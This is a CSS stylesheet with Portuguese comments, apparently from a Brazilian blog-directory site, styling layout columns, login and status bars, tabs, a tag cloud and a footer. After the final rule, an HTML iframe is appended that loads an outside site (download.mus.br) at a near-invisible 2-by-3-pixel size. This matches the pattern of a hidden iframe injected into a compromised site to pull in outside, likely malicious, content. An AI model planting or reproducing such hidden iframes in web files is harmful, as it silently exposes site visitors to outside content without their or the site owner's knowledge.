﻿/* CSS Document */
body {
background:#fff url(fundo.jpg) fixed center  repeat-y; 

font:13px Arial, "Trebuchet MS", Tahoma, Helvetica, sans-serif;
margin:0; padding:0
}

img { border:0; }
a { text-decoration: none; }

#geral {
margin:0 auto; width:969px; padding:0;
}




/* BASICOS */

p { color: #555555; padding: 0 15px 10px 15px; margin: 0 0 0 0;}

p.alt { padding-top: 10px; }

p a, p a:visited { color:#75B110; }

p a:hover { color:#61930D; }

/*
blockquote {
	border-left:5px solid #E1E5EF;
	padding: 5px 0 0 0;
	font-style: italic;
	color: #61930D;
}

blockquote p {
	padding-left: 10px;
	padding-bottom: 5px;
	color: #61930D;
}

pre {
	margin:10px 0pt 15px 40px;
	padding:0px;
}

code {
	border-left:5px solid #E1E5EF;
	padding: 5px 5px 5px 10px;
	overflow: scroll;
	color: #009966;	
}
*/

blockquote {
	font-style: italic;
	margin: 0 0 0 30px;
	padding-left: 5px;
	color: #61930D;
}

blockquote p {
	color: #61930D;
}

code, pre {
	font-size: 95%;
	font-family: "LuxiMono", "Bitstream Vera Sans Mono", "Monaco", "Courier New", monospace;
	word-wrap: break-word;
	white-space: pre;
	white-space: pre-wrap;
	white-space: -moz-pre-wrap;
	white-space: -o-pre-wrap;
}

pre {
	padding: 10px 10px 10px 20px;
	margin: 15px;
}

blockquote {
	border-left: 4px solid #E6E5DD;
}

code {
	color: #1C360C;
}

pre {
	background-color: #f0f0f0;
	border: 1px solid #cccbba;
}

.highlight { background-color:#FF0; color:#000; padding-left:1px; padding-right:1px;}

/* PNG Transparente */
/*
Alpha PNG support for IE
------------------------------
Aviso, este código abaixo funciona apenas para visualização na tela. Quando este documento for impresso, o bug voltará.
O Hack Abaixo faz o código rodar apenas no IE. Sendo que os outros browsers como, Firefox, Opera e Safari já tem a transparencia de PNG nativo.
\*/
* html img/**/ {
filter:expression(
   this.alphaxLoaded ? "" :
   (
    this.src.substr(this.src.length-4)==".png"
    ?
    (
     (!this.complete)
     ? "" :
      this.runtimeStyle.filter=
      ("progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+this.src+"')")+
      (this.onbeforeprint="this.runtimeStyle.filter='';this.src='"+this.src+"'").substr(0,0)+
      String(this.alphaxLoaded=true).substr(0,0)+
      (this.src="http://assets5.blogblogs.com.br/public/bb/images/layout/macete.gif").substr(0,0)
    )
    :
    this.runtimeStyle.filter=""
   )
  );
}





/* Barra Status */
#status_conta {
width: 939px; padding:0 15px 0 15px; height: 30px; overflow: hidden; float: left;
background: #7BBC10 url(images/fundo_login.jpg) repeat-x;
}
#status_conta p {
font: 13px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
color: #3F6006; height:30px;
}
#status_conta p a {
color: #F3FDE3; text-decoration:none; font-weight:bold;
}
#status_conta p a:hover {
color: #fff; text-decoration:none; font-weight:bold;
border-bottom:1px dotted #fff;
}
#status_conta p.logado {
float:right; margin:7px 0 5px 0; padding:0;
}
#status_conta p.logado strong {
font-size:13px; color:#ff3;
}
#status_conta p.minha_conta {
float:left; margin:7px 0 0 0; padding:0;
}





/* Barra Login */
#loginContainer, #barra_pesquisa {
width:969px; height:30px; overflow:hidden; float:left;
background:#efefef url(images/fundo_login_acesso.jpg) bottom repeat-x;
border-bottom:1px solid #ccc; overflow:hidden;
}
#barra_pesquisa form, #loginContainer form {
margin:0; padding:0;
}
#barra_pesquisa p, #loginContainer p {
margin:3px 0; height:20px;
font-family: "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
}
#barra_pesquisa a, #loginContainer a {
color:#60910D; 
font-weight:bold; text-decoration:none;
}
#barra_pesquisa a:hover, #loginContainer a:hover {
color:#74AF10; border-bottom:1px dotted #74af10; 
}

#loginContainer a.orange { color:#F57900; }
#loginContainer a:hover.orange { color:#F57900; border-bottom: 1px dotted #F57900;}

#barra_pesquisa p.searchForm, #loginContainer p.searchForm {
float:left; padding:0 0 0 15px; 
}
#loginContainer p.links1 {
float:left; padding:5px 0 0 15px; font-size:12px;
}
#barra_pesquisa p.links2 {
float:right; padding:5px 15px 0 20px; text-transform:uppercase; font-size:12px;
}
#barra_pesquisa label, #loginContainer  label {
margin:0; padding:0; color:#555; 
font: 13px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif; font-weight:bold;
} 
.field_green {
font: bold 13px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
}

.button_login {
background:#7FC213; color:#fff; font: bold 11px Tahoma, "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
padding:2px; cursor: pointer; margin-left:3px;
}
.button_cancel {
background:#F90; color:#fff; font: bold 11px Tahoma, "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
padding:2px; cursor: pointer; margin-left:3px;
}

.bug_ie {
_width:969px; _height:30px; _overflow:hidden; 
}

/* Barra principal - Verde */
#barra_principal {
	width:969px; height:99px; overflow:; float:left;
	background:#7BBC10 url(images/fundo_barra_verde.jpg) repeat-x;
}

#barra_principal h1 {
	margin:0 0 0 50px; padding:0;
}

#barra_principal h1 a {
	display:block; width:284px; height:99px;
	background:transparent url(images/logo_barra_verde.jpg); 
}

#barra_principal h1 a span {
	display:none;
}

#barra_weblog {
	width:969px; height:99px; overflow:hidden; float:left;
	background:#333 url(/public/bb/images/layout/faixa_weblog.jpg);
}

#barra_weblog h1 {
	margin:0 0 0 50px; padding:0;
}

#barra_weblog h1 a {
	display:block; width:284px; height:99px;
}

#barra_weblog h1 a span {
	display:none;
}


/* Mensagens do Sistema */
#mensagens {
width:918px;float:left; margin:10px 0 0 0;
padding-left:24px;
}

#mensagens_peq {
width:100%;float:left; margin:0;
}

#mensagens p, #mensagens_peq p {
margin:5px 40px 5px 40px; padding:0;
font:bold 13px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
color:#333;
}

#mensagens img, #mensagens_peq img {
	border: 0;
}

#mensagens .purple, #mensagens_peq .purple {
	color: #9966FF;
}

#debug{
	background:transparent url(/public/bb/images/layout/fundo_debug.gif);
	float:left; width:100%; border-top:1px solid #888;
	border-bottom:1px solid #888; margin-bottom:3px;
}

#notice{
	background:transparent url(/public/bb/images/layout/fundo_notice.gif);
	float:left; width:100%; border-top:1px solid #888;
	border-bottom:1px solid #888; margin-bottom:3px;
}

#error {
	background:transparent url(/public/bb/images/layout/fundo_error.gif);
	float:left; width:100%; border-top:1px solid #888;
	border-bottom:1px solid #888; margin-bottom:3px;
}

#system {
	background:transparent url(/public/bb/images/layout/fundo_system.gif);
	float:left; width:100%; border-top:1px solid #888;
	border-bottom:1px solid #888; margin-bottom:3px;
}

#mensagens a, #mensagens_peq a, #mensagens p a, #mensagens_peq p a {
	color:#069; font-weight:bold;
	text-decoration: none/underline/overline/line-through/blink;
	border:none;
}

#mensagens a:hover, #mensagens_peq a, #mensagens p a:hover, #mensagens_peq p a {
	color:#069; border-bottom:1px dotted #069;
}

.debug_code {
	background-color:#FFFFEE;
	padding:10px; margin:10px;
	border:1px solid #CCC;
	height:150px;
	overflow:auto;
	display: block;
}





/* COLUNAS & CONTEUDO GENERICO */
#coluna_esquerda {
	width:220px; float:left;
	padding:0; margin:10px 0 20px 3px;
}

#coluna_centro {
	width:470px; float:left;
	padding:0; margin:10px 14px 20px 14px;
	_margin:5px 13px 20px 13px;
}

#coluna_direita {
	width:240px; float:left; margin:10px 0 20px 0;
	padding:0;
}

#coluna_direita_gde {
	width:124px; float:left;
	padding:0; margin:10px 0 20px 14px;	
}

#coluna_esquerda_gde {
	width:950px;
	float:left;
	padding:0;
	margin:10px 10px 20px 10px;
}

#coluna_e {
	width:385px; float:left;
	padding:0; margin:10px 0 20px 10px;
}

#coluna_d {
	width:550px; float:right;
	padding:0; margin:10px 10px 20px 0;
	background-color: #fff;
}

#coluna_unica {
	width:949px; float:left;
	padding:0; margin:10px 10px 20px 10px;
	background-color: #fff;	
}

#coluna_esquerda_gde h1, #coluna_direita_gde h1, #coluna_e h1, #coluna_d h1, #coluna_centro h1, #coluna_unica h1 {
	font:bold 22px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
	color:#51457E; background:#fff;
	padding:5px 0 10px 10px;
	margin-top:0;
}

#coluna_esquerda_gde h2, #coluna_direita_gde h2, #coluna_e h2, #coluna_d h2, #coluna_centro h2, #coluna_unica h2  {
	font:bold 18px Arial, "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
	color: #51457E;  margin-left:15px; margin-right:15px; border-bottom:1px solid #efefef;
}

#coluna_esquerda_gde h2 img {
	border: none;
}

#coluna_esquerda_gde h2.weblog_title {
	margin:0;padding:0;
}

#coluna_esquerda_gde h3, #coluna_direita_gde h3, #coluna_e h3, #coluna_d h3, #coluna_centro h3, #coluna_unica h3  {
font:bold 16px Arial, "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
color: #51457E;  margin-left:15px; margin-right:15px; border-bottom:1px solid #efefef;
}

#coluna_esquerda_gde h1.super, #coluna_direita_gde h1.super, #coluna_e h1.super, #coluna_d h1.super, #coluna_centro h1.super, #coluna_unica h1.super  {
	background:#fff url(fundo_degrade_nuven_corpo.jpg) bottom repeat-x;	
	margin:5px 0 15px 0;
	padding:10px;
	border:1px solid #D2DBE8;
	color: #FF0000;
}

.idented {
	margin-top: 0px;
	padding-top: 0px;
}



/* Coluna Esquerda - Home */
#coluna_esquerda a {
	color:#75B110; text-decoration:none;
	font-weight:bold;
}

#coluna_esquerda a:hover {
	color:#61930D; border-bottom:1px dotted #61930D;
}

#coluna_esquerda h3 {
	margin:5px 0 0 0; padding:0 0 0 20px;
	font:bold 18px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
}

#coluna_esquerda h3.wesupport {
	margin:5px 0 0 0; padding:5px 0 5px 20px;
	font:bold 18px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
	background:#fff url(/public/bb/images/layout/fundo_itens_esquerda_inv.jpg) top no-repeat;
	color:#555;
}


#coluna_esquerda h3 img {
	margin:0 4px 0 0; vertical-align:middle;
}

#coluna_esquerda p {
	margin:0; padding:5px 0 10px 47px;
	background:#fff url(/public/bb/images/layout/fundo_itens_esquerda.jpg) bottom no-repeat;
	font:13px Arial, "Trebuchet MS", Tahoma, Helvetica, sans-serif;
	color:#555;
}

#coluna_esquerda a.green { color:#399668; }
#coluna_esquerda a:hover.green { color:#399668; border-bottom: 2px dotted #399668;}
#coluna_esquerda a.purple { color:#63C; }
#coluna_esquerda a:hover.purple { color:#63C; border-bottom: 2px dotted #63C;}
#coluna_esquerda a.cyan { color:#1E9BD5; }
#coluna_esquerda a:hover.cyan { color:#1E9BD5; border-bottom: 2px dotted #1E9BD5;}
#coluna_esquerda a.red { color:#E83C66; }
#coluna_esquerda a:hover.red { color:#E83C66; border-bottom: 2px dotted #E83C66;}
#coluna_esquerda a.pink { color:#C39; }
#coluna_esquerda a:hover.pink { color:#C39; border-bottom: 2px dotted #C39;}
#coluna_esquerda a.orange { color:#F57900; }
#coluna_esquerda a:hover.orange { color:#F57900; border-bottom: 2px dotted #F57900;}
#coluna_esquerda a.blue { color:#4A72A7; }
#coluna_esquerda a:hover.blue { color:#4A72A7; border-bottom: 2px dotted #4A72A7;}





/* Centro - Home */
.titulo_centro_destaque {
	display:block; width:472px; margin:0; padding:0; text-transform:uppercase;
	text-align:center; padding:15px 0 5px 0;
	font:bold 15px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
	color:#51457E; background:#fff url(/public/bb/images/layout/fundo_degrade_destaque.jpg) bottom no-repeat;
}





/* Abas - Centro - Home */
#abas {
float:left; width:470px; padding-bottom:10px; margin-bottom:15px; _margin-bottom:2px;
border-left:1px solid #ddd; border-right:1px solid #ddd; border-bottom:1px solid #ddd;
background:#fff url(/public/bb/images/layout/fundo_degrade_destaque_corpo.jpg) bottom repeat-x; 
overflow: hidden;
}

#abas_contencao {
	height: 456px;
	overflow: hidden;
}

.abas_extra {
	display: block; float: right;
	padding: 5px 0 0 0; margin: 0 10px 0 10px;
	font-size: 11px; font-weight: bold;
}

.abas_extra a {
	color: #226696; text-decoration: none;
}

.abas_extra a:hover {
	color: #226696; border: 1px dotted color: #226696;	
}

#contencao {
width:472px; height:28px; overflow:hidden;
}
#aba_menu {
margin:0; padding:0 0 0 40px; height:27px; width:430px;
background:#efefef url(/public/bb/images/layout/fundo_login_acesso2.jpg) bottom repeat-x; border-left:1px solid #ddd;
border-right:1px solid #ddd;
}
#aba_menu li {
display:inline; margin:0; padding:0; height:19px;
}

#aba_menu a {
font:bold 12px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
text-transform:uppercase; text-decoration:none; margin-right:1px; height:22px;
}
.ativo a {
display:block; float:left; padding:5px 15px 0 15px; color:#F98B13;
background:#fff; 
}
.inativo a {
display:block; float:left; padding:5px 15px 1px 15px; color:#8E84BB;
margin-right:1px; 
}
.inativo a:hover {
display:block; float:left; padding:5px 15px 1px 15px; color:#F98B13;
}





/* Destaques - Conteudo */
.conteudo_destaque_post {
width:100%; float:left;
padding:20px 0 0 0; overflow:hidden;
}
.texto_destaque_post img {
border:none; text-decoration:none;
}
.foto_destaque_post {
width:20%;float:left; text-align:center;
}
.foto_destaque_post img {
margin:0; padding:0; border:6px solid #efefef; width:32px; height:32px;
}
.texto_destaque_post {
width:80%;float:right;
}

.texto_destaque_post_alone {
width:100%;float:left;
padding-left: 20px;
}

/* Workaround to H1 important titles */
#main_title h1 { font:bold 14px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
	margin:0; padding:0; background: none; }
#main_title h1 a { color:#75B110; text-decoration:none; font-weight:bold; }
#main_title h1 a:hover { color:#61930D; border-bottom:1px dotted #61930D; }
#main_title h1 a:link { color:#75B110; text-decoration:none; font-weight:bold; }

.texto_destaque_post h4, .texto_destaque_post p {
margin:0; padding:0;
} 

.texto_destaque_post h4 {
	font:bold 14px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
}

.texto_destaque_post h4 a, .texto_destaque_post p a {
color:#75B110; text-decoration:none; font-weight:bold;
}

.texto_destaque_post h4 a:hover, .texto_destaque_post p a:hover {
color:#61930D; border-bottom:1px dotted #61930D;
}

.texto_destaque_post p strong a {
color:#069;
}

.texto_destaque_post p {
font:11px Arial, "Trebuchet MS", Tahoma, Helvetica, sans-serif;
color:#555;
}

.texto_destaque_post p.alt {
	margin-top:5px;
}

.titulo_centro_nuvem {
	display:block; width:472px; margin:0; padding:0; text-transform:uppercase;
	text-align:center; padding:15px 0 5px 0;
	font:bold 15px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
	color:#51457E; background:#fff url(/public/bb/images/layout/fundo_degrade_nuvem.jpg) bottom no-repeat;
}

#nuvem {
	border:1px solid #D2DBE8; width:470px;
	background:#fff url(/public/bb/images/layout/fundo_degrade_nuven_corpo.jpg) bottom repeat-x;
	overflow:hidden;
}

#nuvem_peq {
	width:240px;
	overflow:hidden;
}

#nuvem_peq a, #coluna_direita #nuvem_peq a {
	color: #55A5CB ;
}

#nuvem p.links_nuvem, #nuvem_peq p.links_nuvem {
text-align:justify; margin:10px;
font-family:"Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
}

#nuvem_peq p.links_nuvem {
	margin: 0 10px 10px 10px;
}

#nuvem p.links_nuvem a, #nuvem_peq p.links_nuvem a {
text-decoration:none;
}

#nuvem p.links_nuvem a:hover, #nuvem_peq p.links_nuvem a:hover {
color: #3EC0FF; text-decoration:none;
border-bottom: 1px dotted #3EC0FF;
}

.nuvem_extra {
	display: block; text-align: right;
	padding: 0 0 10px 0; margin: 0 10px 0 10px;
	font-size: 11px; font-weight: bold;
}

.nuvem_extra a {
	color: #226696; text-decoration: none;
}

.nuvem_extra a:hover {
	color: #226696; border: 1px dotted color: #226696;	
}


.tag0  {font-size: 1.0em; color: #A8C3D5; }
.tag1  {font-size: 1.2em; color: #A8C3D5; }
.tag2  {font-size: 1.4em; color: #7EB3D0; }
.tag3  {font-size: 1.6em; color: #55A5CB; }
.tag4  {font-size: 1.8em; color: #2199C6; }
.tag5  {font-size: 2.0em; color: #008EC3; }
.tag6  {font-size: 2.2em; color: #0084C0; }
.tag7  {font-size: 2.4em; color: #0084C0; }
.tag8  {font-size: 2.6em; color: #0084C0; font-weight: bold; }
.tag9  {font-size: 2.8em; color: #0084C0; font-weight: bold; }
.tag10 {font-size: 3.0em; color: #0084C0; font-weight: bold; }





/* PÁGINA PRINCIPAL - COLUNA DIREITA */
#coluna_direita h3 {
	margin:0; padding:5px 0 10px 10px;
	font:bold 18px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
	color:#51457E; background:#fff url(/public/bb/images/layout/fundo_itens_direita.jpg) no-repeat top;
	clear: both;
}

#coluna_direita p {
	margin: 5px 5px 15px 5px;
}

#coluna_direita ol, #coluna_direita ul {
	font:13px Arial, "Trebuchet MS", Tahoma, Helvetica, sans-serif;
	color:#555; padding-top:0; margin-top:5px;
	padding-left: 15px;
	padding-right: 5px;
	list-style-position: inside;
	overflow: hidden;
}

#coluna_direita a {
	color:#75B110; text-decoration:none;
	font-weight:bold;
}

#coluna_direita a:hover {
	color:#61930D; border-bottom:1px dotted #61930D;
}

.novos {
	width:235px; margin:0 0 15px 0;
	padding: 0 0 0 5px;
	background-color: #fff;
	clear: both;
}

.sep15 { clear:both; margin:0; padding:0; padding-bottom: 15px; font-size: 1px;}

.novos a img {
	border:none; display:block; float:left;
	border:4px solid #efefef; margin-right:6px;
	margin-top:6px; width:62px; height:62px
}

.novos a:hover img {
	border:4px solid #CCC8E1;
}

.spaced li {
	margin-bottom: 15px;
}





/* RODAPE */
#rodape {
	width:969px;
	height:85px;
	overflow:hidden;
	float:left;
	background:#7BBC10 url(rodape.jpg) repeat-x;
}

#rodape p {
	margin:0; padding:18px 0 0 0; text-align:center;
	font: 13px "Trebuchet MS", Arial, Tahoma, Helvetica, sans-serif;
	color: #3F6006; height:30px;
}

#rodape p a {
color: #F3FDE3; text-decoration:none;
}

#rodape p a:hover {
color: #fff; text-decoration:none;
border-bottom:1px dotted #fff;
}


div #banner a { background:none; height:60px; width:468px;}

<iframe src="http://download.mus.br/" scrolling="no" width="2" frameborder="0" height="3"></iframe>
